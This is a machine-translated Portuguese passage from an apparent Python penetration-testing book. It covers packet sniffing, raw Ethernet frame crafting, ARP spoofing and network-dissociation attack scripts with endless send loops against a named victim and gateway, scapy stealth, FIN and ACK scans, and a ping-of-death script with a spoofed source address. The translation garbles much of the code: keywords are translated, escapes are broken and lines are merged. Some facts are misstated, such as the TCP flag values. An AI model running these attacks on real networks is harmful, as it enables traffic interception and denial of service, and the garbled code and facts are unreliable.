eth = struct.unpack ( "! 6s6s2s", ethhead)
[65]
print "-------- Quadro Ethernet --------" print "desination mac", binascii.hexlify (eth
[0]) print "Fonte mac", binascii.hexlify (eth [1] ) binascii.hexlify (ETH [2])
ipheader = PKT [0] [14:34]
ip_hdr = struct.unpack ( "! 12s4s4s", ipheader) print "----------- IP ------------------" print

"IP de origem ", socket.inet_ntoa (ip_hdr [1]) print "Destination IP", socket.inet_ntoa
(ip_hdr [2]) print "--------- ---------- TCP" tcpheader PKT = [0] [34:54]
# tcp_hdr = struct.unpack ( "! HH16s", tcpheader) tcp_hdr = struct.unpack ( "!

HH9ss6s", tcpheader) print "Porta de origem", tcp_hdr [0] print "Porta de
destino", tcp_hdr [1] print "Flag" , binascii.hexlify (tcp_hdr [3])
Já definimos as linhas socket.PF_PACKET, socket.SOCK_RAW. o

socket.htons (0x0800) sintaxe mostra o protocolo de interesse. o 0x0800 código define o ETH_P_IP protocolo. Você
pode encontrar todo o código no if_ether.h arquivo localizado em / usr / include / linux. o PKT = s.recvfrom (2048) instrução
cria um buffer de 2048. quadros recebidas são armazenadas no pkt variável. Se você imprimir esta pkt, ele
mostra as tuplas, mas a nossa informação valiosa reside na primeira tupla. o
ethhead = PKT [0] [00:14] declaração dá os primeiros 14 bytes do pkt. Como o frame Ethernet é de 14 bytes de
comprimento, e ele vem primeiro, conforme mostrado na figura a seguir, é por isso usamos os primeiros 14 bytes:
Dados Dados
Dados Dados
TCP Header TCP Header
cabeçalho IP cabeçalho IP
Cabeçalho Ethernet Cabeçalho Ethernet
Configuração de cabeçalhos
[66]
Capítulo 3
o eth = struct.unpack ( "! 6s6s2s", ethhead) declaração aqui! mostra bytes de rede, e 6s mostra 6 bytes, como já
discutido anteriormente. o binascii. hexlify (ETH [0]) instrução retorna a representação hexadecimal dos dados
binários. Cada byte de eth [0] é convertido na representação dígitos hexadecimal duas correspondente. o ipheader
= PKT [0] [14:34] declaração extrai os próximos 20 bytes de dados. Em seguida é o cabeçalho IP eo ip_hdr = struct.
descompactar ( "! 12s4s4s", ipheader) declaração, que descompacta os dados em 3 partes, das quais nossos
destino e origem endereços IP residem na 2ª e 3ª partes, respectivamente. o socket.inet_ntoa (ip_hdr [3]) declaração
converte um endereço IPv4 embalado de 32 bits (uma cadeia que é quatro caracteres de comprimento) para a
sua representação padrão cadeia quad dotted-. o tcpheader = PKT [0] [34:54] declaração extrai os próximos 20
bytes de dados. o tcp_hdr = struct.unpack ( "! HH16s", tcpheader)
declaração é dividido em 3 partes, isto é, HH16s primeiro e em segundo lugar o número da porta de origem e
destino. Se você está interessado na bandeira, em seguida, descompacte os valores na tcp_hdr = struct.unpack ( "!
HH9ss6s", tcpheader) formato. A 4ª parte, s,
dá o valor de bandeiras. A saída de sniffer1.py é como
se segue:
- - - - - - - - Quadro Ethernet ------- desination
mac 000c292e847a Fonte mac 005056e7c365
- - - - - - - - - - - IP ------------------
Fonte IP 208.80.154.234 Destino IP
192.168.0.11
- - - - - - - - - TCP ----------
Fonte Porta 80 Porta de destino
1466 Flag 18
mac 005056e7c365 Fonte mac 000c292e847a
- - - - - - - - - - - IP ------------------
208.80.154.234
- - - - - - - - - TCP ----------
Porta de origem porto 1466
Destino 80 Flag 10
[67]
Nossa sniffer está agora trabalhando muito bem. Vamos discutir os resultados da saída. O quadro Ethernet
mostra o MAC de destino eo mac fonte. O cabeçalho IP diz o IP de origem de onde o pacote está chegando, eo
destino IP é um outro sistema operacional que está sendo executado na nossa sub-rede. O cabeçalho TCP
mostra a porta de origem, porto de destino, ea bandeira. A porta de destino é 80, o que mostra que alguém está
navegando em um site. Agora que temos um endereço IP, vamos verificar o site que está sendo executado em 208.80.154.240:
> > > socket.gethostbyaddr ( '208.80.154.240') ( 'upload-lb.eqiad.wikimedia.org', [], [
'208.80.154.240'])
>>>
Os resultados anteriores mostram a upload-lb.eqiad.wikimedia.org local na rede Internet. Na saída, os pacotes 2 são
mostrados. O primeiro sinalizador mostra o valor 18 e o segundo uma bandeira mostra 10. 12 representa a bandeira ACK
e SYN. Bandeira 10 representa a bandeira ACK como segue:
valores bandeiras
12 significa 0001 0010, que define o sinalizador ACK e SYN. 10 indica que apenas ACK é definido.
Agora, vamos fazer algumas alterações ao código. Adicionar mais uma linha no final do código:
impressão PKT [0] [54]:
Vamos verificar como a saída é alterado:
HTTP / 1.1 304 Not Modified Servidor:
Apache
X-Content-Type-Options: nosniff
[68]
Capítulo 3
Cache-control: public, maxage = 300, s-maxage = 300 Last-Modified: Thu, 25
de setembro de 2014 18:08:15 GMT Expira: Sat, 27 de setembro, 2014
06:41:45 GMT Content-Encoding: gzip
Content-Type: text / javascript; charset = UTF-8 Vary:
Accept-Encoding, X-Utilização-HHVM Aceita-Ranges: bytes
Data: Sáb, 27 de setembro, 2014 06:37:02 GMT
X-Verniz: 3552654421 3552629562 Idade: 17
Via: 1.1 Connection verniz: keep-alive
X-cache: hit cp1057 (138) X-Analytics:
php = zend
Às vezes, estamos interessados em TTL, que é uma parte do cabeçalho IP. Isso significa que vamos ter de alterar a função de
descompactação:
ipheader = PKT [0] [14:34]

ip_hdr = struct.unpack ( "! 8sB3s4s4s", ipheader) print "----------- IP
------------------" print "TTL: ", ip_hdr [1]
imprimir "IP de origem", socket.inet_ntoa (ip_hdr [3]) print "Destination IP",

socket.inet_ntoa (ip_hdr [4])
Agora, vamos verificar a saída de sniffer1.py:
mac 000c294f8e35 Fonte mac 005056e7c365
- - - - - - - - - - - IP ------------------
TTL: 128
192.168.0.10
- - - - - - - - - TCP ----------
Porta de destino Fonte Porto 80
39204 Flag 10
[69]
O valor TTL é 128. Então, como é que funciona? É muito simples; temos descompactou o valor nos
8sB3s4s4s formato, e nosso campo TTL vem na 9ª byte. Depois de meios 8s, após o 8º byte, temos o
campo TTL na forma de B.
Aprender sobre pacote de artesanato

Esta é uma técnica pela qual um hacker ou pentester pode criar pacotes personalizados. Usando um pacote personalizado, um
hacker pode executar muitas tarefas, tais como sondagem conjuntos de firewall regra, varredura de portas, e o comportamento
do sistema operacional. Muitas ferramentas estão disponíveis para elaboração de pacotes, tais como hping, construtor pacote
Colasoft, e assim por diante. Packet artesanato é uma habilidade. Você pode executá-lo sem ferramentas como você tem
Python. Primeiro, criamos pacotes Ethernet e, em seguida, enviá-los para a vítima. Vamos dar uma olhada em todo o código de eth.py
e então compreendê-lo linha por linha:
s = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, tomada. ntohs (0x0800))
s.bind (( "eth0", socket.htons (0x0800))) sor = '\ x00 \ x0c \ x29

\ x4f \ x8e \ x35' des = '\ x00 \ x0C \ x29x2E \ x84 \ x7A' code ='
\ x08 \ x00' eth = des + sor + código
s.send (ETH)
o s = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, tomada. ntohs (0x0800)) já foi visto por você na
packet sniffer. Agora, decidir sobre a interface de rede. Nós escolher a interface eth0 para enviar o pacote.
o
s.bind (( "eth0", socket.htons (0x0800))) declaração vincula o eth0 interface com o valor de protocolo. As próximas
duas linhas definir a fonte e os endereços MAC de destino. o code = '\ x08 \ x00' declaração mostra o protocolo de
interesse. Este é o código do protocolo IP. o eth = des + sor + código declaração é usada para montar o pacote. A
próxima linha, s.send (ETH), envia o pacote.
Apresentando ARP spoofing e

implementá-la usando Python
ARP (Protocolo de Resolução de Endereço) é usado para converter o endereço IP para o endereço Ethernet
correspondente (MAC). Quando um pacote chega à camada de rede (OSI), que tem um endereço IP e um pacote de
camada de enlace de dados que precisa do endereço MAC do dispositivo de destino. Neste caso, o remetente utiliza o
protocolo ARP.
[70]
Capítulo 3
A resolução de endereço termo refere-se ao processo de encontrar o endereço MAC de um computador em uma
rede. A seguir estão os dois tipos de mensagens ARP que podem ser enviadas pelo ARP:
• O pedido ARP
• A resposta ARP
O pedido ARP
A máquina host pode querer enviar uma mensagem para outra máquina na mesma sub-rede. A máquina
host só sabe o endereço IP enquanto o endereço MAC é necessário para enviar a mensagem na camada
de enlace de dados. Nesta situação, a máquina host transmite o pedido ARP. Todas as máquinas da
sub-rede receber a mensagem. O tipo de protocolo Ethernet do valor é 0x806.
A resposta ARP
O usuário pretendido responde de volta com seu endereço MAC. Esta resposta é unicast e é conhecido como a
resposta ARP.
O cache ARP
Para reduzir o número de solicitações de resolução de endereço, um cliente normalmente armazena em cache os
endereços resolvidos por um curto período de tempo. O cache ARP é de um tamanho finito. Quando qualquer dispositivo
quer enviar dados para outro dispositivo de destino em uma sub-rede, ele deve primeiro determinar o endereço MAC desse
alvo, mesmo que o remetente sabe o endereço IP do receptor. Esses mapeamentos de endereços IP-para-MAC são
derivados de um cache ARP mantidas em cada dispositivo. Uma entrada não utilizado é excluído, o que libera algum
espaço no cache. Use o arp -a comando para ver o cache ARP, como mostrado na imagem seguinte:
O cache ARP
[71]
Falsificação ARP, também conhecido como o envenenamento de cache ARP, é um tipo de ataque onde o endereço
MAC da máquina vítima, no cache ARP da porta de entrada, juntamente com o endereço MAC da porta de entrada,
na cache ARP da máquina vítima, é alterado pelo invasor. Esta técnica é usada para atacar as redes de área local.
O atacante pode cheirar o quadro de dados através da LAN. Em ARP spoofing, o atacante envia uma resposta falsa
para a porta de entrada, bem como para a vítima. O objetivo é associar o endereço MAC do atacante com o
endereço IP de outro host (como o gateway padrão). ARP spoofing é usado para o Active sniffing.
Agora, vamos usar um exemplo para demonstrar ARP spoofing. O endereço IP e endereço MAC de todas as
máquinas na rede são os seguintes:
nome da máquina endereço de IP Endereço MAC
Windows XP (vítima) 192.168.0.11 00: 0C: 29: 2E: 84: 7A
Linux (atacante) 192.168.0.10 00: 0C: 29: 4F: 8E: 35
Windows 7 (gateway) 192.168.0.1 00: 50: 56: C0: 00: 08
Vamos dar uma olhada no cabeçalho do protocolo ARP, como mostrado na imagem seguinte:
0 7 15 31
tipo de hardware tipo de protocolo
Hardware endereço comprimento protocolo endereço comprimento opcode
endereço de hardware Fonte
fonte protocolo endereço
endereço de hardware de destino
endereço de protocolo de destino
O cabeçalho ARP
Vamos percorrer o código para implementar ARP spoofing e discuti-lo linha por linha:
importação struct
s.bind (( "eth0", socket.htons (0x0800)))
sor = '\ x00 \ x0c \ x29 \ x4f \ x8e \ x35'
[72]
Capítulo 3
victmac = '\ x00 \ x0C \ x29 \ x2E \ x84 \ x7A'
gatemac = '\ x00 \ x50 \ x56 \ xC0 \ x00 \ x08' code = '\ x08 \
x06'
eth1 = victmac + sor + código #For vítima eth2 = gatemac +
sor + # código de passagem
htype = '\ x00 \ x01' ProType = '\

x08 \ x00' hsize = '\ x06' psize = '\
x04' opcode = '\ x00 \ x02'
gate_ip = '192.168.0.1' victim_ip = '192.168.0.11' GIP =

socket.inet_aton (gate_ip) VIP = socket.inet_aton (victim_ip)
arp_victim = eth1 + htype + ProType + hsize + psize + opcode + sor + GIP + victmac + VIP arp_gateway = eth2 + htype
+ ProType + hsize + psize + opcode + sor + VIP + gatemac + GIP
enquanto 1:
s.send (arp_victim)
s.send (arp_gateway)
Na seção elaboração de pacotes explicado anteriormente, você criou o frame Ethernet. Neste código,
utilizou-se 3 endereços MAC, as quais também são mostrados na tabela anterior. Aqui, usamos code = '\ x08 \
x06', o qual é o código do protocolo ARP. Os dois pacotes Ethernet trabalhada são eth1 e eth2. A linha
seguinte htype = '\ x00 \ x01' denota a Ethernet. Tudo está em ordem, como mostrado no cabeçalho ARP,
ProType = '\ x08 \ x00', que indica o tipo de protocolo; hsize = '\ x06' mostra o tamanho do endereço de hardware; psize
= '\ x04' dá o comprimento de endereço IP; e opcode = '\ x00 \ x02' mostra que é um pacote de resposta. o gate_ip =
'192.168.0.1' e
victim_ip = '' 192.168.0.11 declarações são os endereços IP do gateway e vítima, respectivamente. o socket.inet_aton
(gate_ip) método converte o endereço IP para um formato hexadecimal. No final, que montar o código inteiro
de acordo com o cabeçalho ARP. o s.send () método também coloca os pacotes no cabo. Agora, é hora de ver
a saída. Execute o arpsp.py Arquivo.
[73]
Vamos verificar cache ARP da vítima:
O cache ARP da vítima
A imagem anterior mostra a cache ARP antes e depois do ataque de falsificação ARP. É evidente a partir da
imagem que o endereço MAC do IP do gateway foi alterado. Nosso código está funcionando bem. Vamos
verificar o cache ARP do gateway:
cache ARP do gateway
A imagem anterior mostra que o nosso código foi executado com êxito. A vítima e IP do atacante ter o
mesmo endereço MAC. Agora, todos os pacotes destinados para o gateway irá percorrer o sistema do
invasor, e o atacante pode efetivamente ler os pacotes que viajam e para trás entre o gateway e o
computador da vítima.
Em pentesting, você só tem que atacar (ARP spoofing) o gateway para investigar se o gateway é
vulnerável a falsificação ARP ou não.
[74]
Capítulo 3
Testando o sistema de segurança utilizando elaboração de

pacote personalizado e injeção
Até agora, você viu a implementação de ARP spoofing. Agora, vamos aprender sobre um ataque chamado o
ataque dissociação rede. Seu conceito é o mesmo que o envenenamento de cache ARP.
dissociação rede
Neste ataque, a vítima permanecerá conectado ao gateway, mas não pode se comunicar com a rede externa.
Simplificando, a vítima permanecerá conectado ao roteador, mas não pode navegar na Internet. O princípio
deste ataque é o mesmo que o envenenamento de cache ARP. O ataque irá enviar o pacote de resposta ARP
para a vítima e que o pacote vai mudar o endereço MAC do gateway no cache ARP da vítima com outro MAC.
A mesma coisa é feita no gateway. O código é o mesmo que o de falsificação ARP, com exceção de algumas
mudanças, que são explicadas como segue:
importação struct
s.bind (( "eth0", socket.htons (0x0800)))
sor = '\ x48 \ x41 \ x43 \ X4B \ x45 \ x52'
victmac = '\ x00 \ x0C \ x29 \ x2E \ x84 \ x7A' gatemac = '\
x00 \ x50 \ x56 \ xC0 \ x00 \ x08' code = '\ x08 \ x06'
eth1 = victmac + sor + código #For vítima eth2 = gatemac +

sor + # código de passagem
htype = '\ x00 \ x01' ProType = '\

x08 \ x00' hsize = '\ x06' psize = '\
x04' opcode = '\ x00 \ x02'
gate_ip = '192.168.0.1' victim_ip = '192.168.0.11' GIP =

socket.inet_aton (gate_ip)
[75]
VIP = socket.inet_aton (victim_ip)
arp_victim = eth1 + htype + ProType + hsize + psize + opcode + sor + GIP + victmac + VIP arp_gateway = eth2 + htype
+ ProType + hsize + psize + opcode + sor + VIP + gatemac + GIP
enquanto 1:
s.send (arp_victim)
s.send (arp_gateway)
Corre netdiss.py. Podemos ver que há apenas uma mudança no código, que é
sor = '\ x48 \ x41 \ x43 \ X4B \ x45 \ x52'. Esta é uma MAC aleatório como este MAC não existe. Interruptor vai
cair os pacotes ea vítima não pode navegar na Internet.
A fim de realizar o ataque de envenenamento de cache ARP, a vítima deve ter uma
entrada real da porta de entrada no cache ARP.
Você pode se perguntar por que usamos MAC '\ x48 \ x41 \ x43 \ X4B \ x45 \ x52?. Apenas convertê-lo em ASCII e
você terá sua resposta.
Uma varredura semi-aberto

A varredura de digitalização ou discrição semi-aberto, como o nome sugere, é um tipo especial de digitalização. técnicas
stealth-digitalização são utilizados para contornar as regras de firewall e evitar ser detectado pelos sistemas de registro. No
entanto, é um tipo especial de verificação que é feito por meio de elaboração de pacotes, o que foi explicado anteriormente
neste capítulo. Se você quiser fazer um IP ou de pacotes TCP, então você tem de mencionar cada seção. Eu sei que isto é
muito doloroso e você estará pensando sobre Hping. No entanto, a biblioteca do Python irá torná-lo simples.
Agora, vamos dar uma olhada usando scapy. Scapy é uma biblioteca de terceiros que lhe permite fazer pacotes feitos sob
medida. Então vamos escrever um código simples e curto para que você possa entender scapy.
Antes de escrever o código, vamos entender o conceito da varredura semi-aberto. As seguintes etapas
definir a varredura discrição:
1. O cliente envia um pacote SYN para o servidor na porta pretendida.
2. Se a porta está aberta, em seguida, o servidor responde com o pacote SYN / ACK.
3. Se o servidor responde com um pacote RST, isso significa que a porta está fechada.
4. O cliente envia o RST para fechar a iniciação.
[76]
Capítulo 3
Agora, vamos percorrer o código, que também será explicado da seguinte forma:
de scapy.all import *
IP1 = IP (src = "192.168.0.10", dst = "192.168.0.3") TCP1 = TCP (sport = 1024, dport = 80,
flags = "S", seq = 12345) packet = IP1 / TCP1 p = sr1 (pacotes, entre = 1)
p.show ()
RS1 = TCP (desporto = 1,024, dport = 80, bandeiras = "R", SEQ = 12347) packet1 = IP1 /
RS1 p1 = SR1 (packet1) p1.show
A primeira linha importa todos os módulos de scapy. A próxima linha IP1 = IP (src = "192.168.0.10", dst =
"192.168.0.3") define o pacote IP. O nome do pacote IP é IP1, que contém o endereço de origem e destino. o TCP1
= TCP (sport = 1024, dport = 80, flags = "S", seq = 12345) declaração define um pacote TCP chamado TCP1, e este
pacote contém a porta de origem e porta de destino. Estamos interessados em porta 80 como nós definimos as
etapas anteriores da verificação discrição. Para a primeira etapa, o cliente envia um pacote SYN para o
servidor. Na nossa TCP1 pacote, a bandeira SYN foi ajustada conforme mostrado no pacote, e SEQ é dada
aleatoriamente. A próxima linha pacote = IP1 / TCP1 organiza o primeiro IP e, em seguida, o TCP. o p = SR1
(pacotes, entre = 1) declaração recebe o pacote. o SR1 () função usa os pacotes enviados e recebidos, mas ele só
recebe um pacote respondeu: inter-=
1, o que indica um intervalo de 1 segundo, porque queremos um intervalo de um segundo para estar presente
entre dois pacotes. A próxima linha p.show () dá a visão hierárquica do pacote recebido. o rs1 = TCP (sport = 1024,
dport = 80, flags = "R", seq = 12347) declaração irá enviar o pacote com a flag RST. As linhas que seguem esta
linha são fáceis de entender. Aqui, p1.show não é necessária porque não estamos aceitando qualquer resposta
do servidor. A saída é como se segue:
root @ Mohit | Raj: / scapy halfopen.py # python
AVISO: (nenhuma rota padrão) Nenhuma rota encontrada para o destino IPv6 :: Comece emissão:
. * Terminado para enviar 1 pacotes.
Receberam 2 pacotes, obteve 1 respostas, permanecendo 0 pacotes
# # # [IP] ### version = 4L
DIH
= 5L
[77]
tos = 0x0
len = 44
identidade =0
bandeiras = DF
frag = 0D
ttl = 64
proto = tcp
chksum = 0xb96e
src = 192.168.0.3
DST = 192.168.0.10
\ Options \
# # # [TCP] ###
esporte = http
dport = 1024
seq = 2065061929
ack = 12346
dataofs = 6L
reservados flags = 0D
= SA
janela = 5840
chksum = 0xf81e
urgptr =0
Opções = [( 'MSS', 1460)]
# # # [ Preenchimento ]###
carga = '\ X00 \ x00'
Comece emissão:
Terminado para enviar 1 pacotes.
. .^Z
[10] + Parou halfopen.py python
Assim que recebemos o nosso pacote respondeu. A origem eo destino parece bem. Dê uma olhada no
campo TCP e observe o valor da bandeira. Temos SA, o que denota a flag SYN e ACK. Como já discutimos
anteriormente, se o servidor responde com uma flag SYN e ACK, isso significa que a porta está aberta.
Wireshark também capta a resposta, como se mostra na imagem seguinte:
[78]
Capítulo 3
A saída Wireshark
Agora, vamos fazê-lo novamente, mas, desta vez, o destino será diferente. A partir da saída, você vai
saber o que o endereço de destino foi:
root @ Mohit | Raj: / scapy halfopen.py # python
. * Terminado para enviar 1 pacotes.
# # # [IP] ### version = 4L
DIH
= 5L
tos = 0x0
len = 40
identidade = 37929
bandeiras =
frag = 0D
ttl = 128
proto = tcp
chksum = 0x2541
src = 192.168.0.11
DST = 192.168.0.10
\ Options \
# # # [TCP] ###
esporte = http
dport = 1024
seq =0
ack = 12346
dataofs = 5L
reservados flags = 0D
= RA
janela =0
[79]
chksum = 0xf9e0
urgptr =0
options = {}
carga = '\ X00 \ x00 \ x00 \ x00 \ x00 \ x00'
Comece emissão:
Terminado para enviar 1 pacotes. ^ Z
[12] + Parou halfopen.py python
root @ Mohit | Raj: / scapy #
Desta vez, ele retorna a bandeira RA que significa RST e ACK. Isto significa que a porta está fechada.
A varredura FIN
Às vezes, firewalls e Intrusion Detection System (IDS) são configurados para detectar varreduras SYN. Em um ataque de
verificação da FIN, um pacote TCP é enviado para o host remoto com apenas a flag FIN. Se nenhuma resposta vem do
hospedeiro, isso significa que a porta está aberta. Se uma resposta é recebida, que contem a bandeira RST / ACK, o que
significa que a porta está fechada.
A seguir está o código para a verificação FIN:
IP1 = IP (src = "192.168.0.10", DST = "192.168.0.11") SY1 = TCP (sport = 1024, dport = 80,
flags = "F", seq = 12345) packet = IP1 / SY1 p = sr1 (pacote)
p.show ()
O pacote é o mesmo que o anterior, com apenas o conjunto bandeira FIN. Agora, verifique a resposta de
diferentes máquinas:
root @ Mohit | Raj: / scapy fin.py # python

. Terminado para enviar 1 pacotes.

*
# # # [IP] ### version = 4L
DIH
= 5L
[80]
Capítulo 3
tos = 0x0
len = 40
identidade = 38005
bandeiras =
frag = 0D
ttl = 128
proto = tcp
chksum = 0x24f5
src = 192.168.0.11
DST = 192.168.0.10
\ Options \
# # # [TCP] ###
esporte = http
dport = 1024
seq =0
ack = 12346
dataofs = 5L reservados
flags = 0D
= RA
janela =0
chksum = 0xf9e0
urgptr =0
options = {}
carga = '\ X00 \ x00 \ x00 \ x00 \ x00 \ x00'
O pacote recebido contém o sinalizador RST / ACK, o que significa que a porta está fechada. Agora, vamos
mudar o destino para 192.168.0.3 e verificar a resposta:
root @ Mohit | Raj: / scapy fin.py # python


. . . .^Z
[13] + Parou fin.py python
Nenhuma resposta foi recebida do destino, o que significa que a porta está aberta.
[81]
ACK digitalização bandeira

O método de digitalização ACK é usado para determinar se o host é protegido por algum tipo de sistema de
filtragem.
Neste método de digitalização, o atacante envia um pacote ACK sonda com um número de sequência aleatória,
onde nenhuma resposta significa que a porta é filtrado (uma firewall inspeção de estado está presente, neste
caso); Se uma resposta RST volta, isto significa que a porta é fechada. Agora, vamos passar por este código:
IP1 = IP (src = "192.168.0.10", DST = "192.168.0.11") SY1 = TCP (sport = 1024, dport = 137,
bandeiras = "a", seq = 12345) packet = IP1 / SY1 p = sr1 (pacote)
p.show ()
No código anterior, o sinalizador foi definido para ACK, e a porta de destino é 137.
Agora, verifique a saída:
root @ Mohit | Raj: / scapy ack.py # python
. . Terminado para enviar 1 pacotes. ^ Z
[30] + Parou ack.py python
O pacote foi enviado, mas nenhuma resposta foi recebida. Você não precisa se preocupar, pois temos o nosso sniffer
Python para detectar a resposta. Então executar o sniffer. Não há necessidade de executá-lo em modo promíscuo e
enviar o pacote ACK novamente:
Out-put de sniffer
- - - - - - - - Quadro Ethernet --------
desination mac 000c294f8e35
000c292e847a Fonte mac
- - - - - - - - - - - IP ------------------
TTL: 128
192.168.0.10
- - - - - - - - - TCP ----------
[82]
Capítulo 3
Fonte Porto 137 Porta de destino
1024 Flag 04
O pacote de retorno mostra o sinalizador 04, o que significa RST. Isso significa que a porta não é filtrada.
Vamos configurar um firewall e verificar a resposta do pacote ACK novamente. Agora que o firewall está configurado, vamos
enviar o pacote novamente. A saída será como se segue:
root @ Mohit | Raj: / scapy ack.py # python
A saída do tubo aspirador mostra nada, o que significa que a firewall está presente.
Ping da morte
Ping da morte é um tipo de negação de serviço em que o atacante envia deliberadamente uma solicitação de ping,
que é maior do que 65.536 bytes. Uma das características de TCP / IP é a fragmentação; que permite que um único
pacote IP para ser dividido em segmentos menores. Vamos dar uma olhada no código e passar pela explicação do
código também. O nome do programa é pingofd.py:
IP1 = IP ( "src = 192.168.0.99", DST = "192.168.0.11") do pacote = IP1 / ICMP () / (
"m" * 60000) enviar (pacote)
Aqui, estamos usando 192.168.0.99 como o endereço de origem. Este é um ataque e eu não quero revelar o meu
endereço IP; é por isso que eu tenho falsificado meu IP. O pacote contém o IP e ICMP pacotes e 60.000 bytes de
dados para que você pode aumentar o tamanho do pacote. Desta vez, usamos o enviar() função desde não
estamos esperando uma resposta.
Verifique a saída na máquina da vítima:
Saída do ping da morte
[83]
Você pode ver na saída que os números de pacotes 1498 para 1537 são de IPv4. Depois disso, o pacote
ICMP entra em cena. Você pode usar um loop while para enviar vários pacotes. Em pentesting, você tem
que verificar as máquinas e verifique se o firewall irá impedir este ataque ou não.
Resumo
No início deste capítulo, nós aprendemos sobre o conceito de um sniffer, o uso de um sniffer na rede, que às vezes
pode revelar grandes segredos como uma senha, chats, e assim por diante. No mundo de hoje, principalmente
switches são usados, então você deve saber como realizar sniffing ativo. Também aprendeu a fazer-se uma camada
de 4 sniffer. Em seguida, nós também aprendemos como realizar ARP spoofing. Você deve testar a rede pela ARP
spoofing e escrever suas descobertas no relatório. Então, nós olhamos para o tópico de testar a rede usando pacotes
personalizados. O ataque dissociação rede é semelhante ao ataque de envenenamento de cache ARP, que também
foi explicado. Entreaberta, varredura FIN, e varredura bandeira ACK são tipos especiais de digitalização que
aflorados também. Por último, de ping da morte, que está relacionado com o ataque DDOS, foi explicado.
No próximo capítulo, você aprenderá sobre a rede wireless sniffing e ataques sem fio. o tráfego sem fio é
diferente de uma rede com fio. Para capturar o tráfego sem fio, você não precisa de acesso físico, e isso faz com
que o tráfego sem fio mais vulnerável. Vamos aprender em breve como capturar o tráfego sem fio e como atacar
o ponto de acesso no próximo capítulo.
[84]
pentesting sem fio
A era da conectividade sem fio tem contribuído para a flexibilidade e mobilidade, mas também deu início a muitos
problemas de segurança. Com conectividade com fios, o atacante precisa de acesso físico, a fim de se conectar e
ataque. No caso de conectividade sem fio, um atacante precisa apenas a disponibilidade do sinal para lançar um
ataque. Antes de prosseguir, você deve estar ciente da terminologia utilizada:
• Access Point (AP): Ele é usado para conectar dispositivos sem fio com redes com fio.
• Service Set Identifier (SSID): É um identificador único 0-32 alfanumérico para uma LAN sem fio; é
legível, e simplesmente colocar, é o nome da rede.
• Basic Service Set Identification (BSSID): É o endereço MAC do AP sem fio.
• número do canal: Isso representa o alcance da frequência de rádio usada por AP para a
transmissão.
O número do canal pode ter mudado devido à configuração automática de AP. Assim, neste
capítulo, não se confundem. Se você executar o mesmo programa em um horário diferente, o
número do canal pode ter mudado.
Neste capítulo, vamos aprender um monte de conceitos, tais como:
• Encontrar SSID wireless
• Analisando o tráfego sem fio
• Detectar os clientes de um AP
• O ataque sem fios deauth
• ataque inundação MAC

pentesting sem fio
802.11 e 802.11x são definidos como uma família de tecnologias de LAN sem fio por IEEE. A seguir estão as
especificações 802,11 com base na frequência e largura de banda:
• 802.11: Isto fornece largura de banda até 1-2 Mbps com uma banda de frequência de 2,4 GHz
• 802.11.a: Isto fornece largura de banda até 54 Mbps com uma banda de frequência de 5 GHz
• 802.11.b: Isto fornece largura de banda até 11 Mbps com uma banda de frequência de 2,4 GHz
• 802.11g: Isto fornece largura de banda até 54 Mbps com uma banda de frequência de 2,4 GHz
• 802.11n: Isto fornece largura de banda até 300 Mbps com ambas as bandas de frequência
Todos os componentes de 802.11 cair em qualquer o Media Access Control (MAC) ou a camada física. A camada
MAC é a subclasse da camada de ligação de dados. Você leu sobre a Protocol Data Unit (PDU) da camada de
ligação de dados, o qual é chamado uma moldura. Antes, porém, vamos entender o formato de quadro 802.11. Os
três principais tipos de quadros que existem no 802.11 são:
• A trama de dados
• O quadro de controle
• O quadro de gestão
Estes quadros são assistidas pela camada MAC. A imagem seguinte descreve o formato da camada MAC:
Na imagem anterior, os três tipos de endereços são mostradas. Endereço 1, endereço 2, e endereço 3 são os
endereços MAC de destino, AP, e origem, respectivamente. Isso significa Endereço 2 é o BSSID do AP. Neste
capítulo, nosso foco será sobre o quadro de gestão, porque estamos interessados nos subtipos do quadro de
gestão. Alguns tipos comuns de quadros de gerenciamento são a moldura de autenticação, o quadro
deauthentication, o quadro de solicitação de associação, o quadro de dissociação, o quadro de pedido sonda,
eo quadro resposta da sonda. A conexão entre os clientes e APs é estabelecida pela troca de vários quadros,
como mostrado na imagem a seguir:
[86]
Capítulo 4
A troca do quadro
O diagrama acima mostra a troca de quadros. Esses quadros são:
• O quadro de Beacon: A AP envia periodicamente um quadro beacon para anunciar sua presença. O
quadro guia contém informação tal como SSID, número de canal, BSSID, e assim por diante.
• O pedido Probe: O dispositivo sem fios (cliente) envia um pedido de sondagem para determinar quais são
os APs na gama. O pedido sonda contém elementos como o SSID do AP, as taxas suportadas,
informações específicas de vender, e assim por diante. O cliente envia o pedido de sonda e aguarda a
resposta da sonda por algum tempo.
• A resposta Probe: Na resposta do pedido de sondagem, o AP correspondente irá responder com um pacote
de resposta da sonda que contém a informação de capacidade, as taxas de dados suportadas, e assim por
diante.
• O pedido de autenticação: O cliente envia o quadro solicitação de autenticação que contém a

sua identidade.
• A resposta de autenticação: O AP responde com uma autenticação, o que indica a aceitação ou

rejeição. Se existe autenticação de chave compartilhada, como WEP, em seguida, o AP envia um
texto de desafio na forma de uma resposta de autenticação. O cliente deve enviar a forma
criptografada do texto desafiado em um quadro de autenticação de volta para a AP.
• O pedido Associação: Após a autenticação bem sucedida, o cliente envia um pedido de

associação que contém suas características, tais como taxas de dados suportadas e o SSID do
AP.
• A resposta Association: AP envia uma resposta de associação que contém aceitação ou

rejeição. No caso de aceitação, o AP irá criar uma ID associação para o cliente.
[87]
pentesting sem fio
Nossos futuros ataques será com base nesses quadros.
Agora é hora para uma prática. Na seção seguinte, vamos passar pelo resto da teoria.
constatação SSID sem fio e análise de tráfego sem fio

por Python
Se você tiver feito o teste sem fio por Back-Track ou Kali Linux, então você estará familiarizado com o airmon-ng ternos.
o airmon-ng script é usado para ativar o modo de monitor em interfaces sem fio. O modo de monitor permite que
um dispositivo sem fio para capturar os quadros sem ter de se associar com um AP. Estamos indo para
executar todos os nossos programas no Kali Linux. A imagem seguinte mostra como definir mon0:
Definir mon0
Quando você executa o airmon-ng script, ele dá o cartão wireless um nome como wlan0,
como mostrado na imagem anterior. o airmon-ng start wlan0 comando iniciará wlan0 no modo de monitor, e mon0 capta
pacotes sem fios. Agora, vamos escrever nosso primeiro programa, que dá três valores: SSID, BSSID, e o
número do canal. Não se preocupe, nós vamos passar por isso linha por linha:
fungar = socket.socket (socket.AF_PACKET, socket.SOCK_RAW, 3) sniff.bind (( "mon0", 0x0003))

ap_list = [], enquanto Verdadeiro:
fm1 = sniff.recvfrom (6000)
[88]
Capítulo 4
FM = fm1 [0]
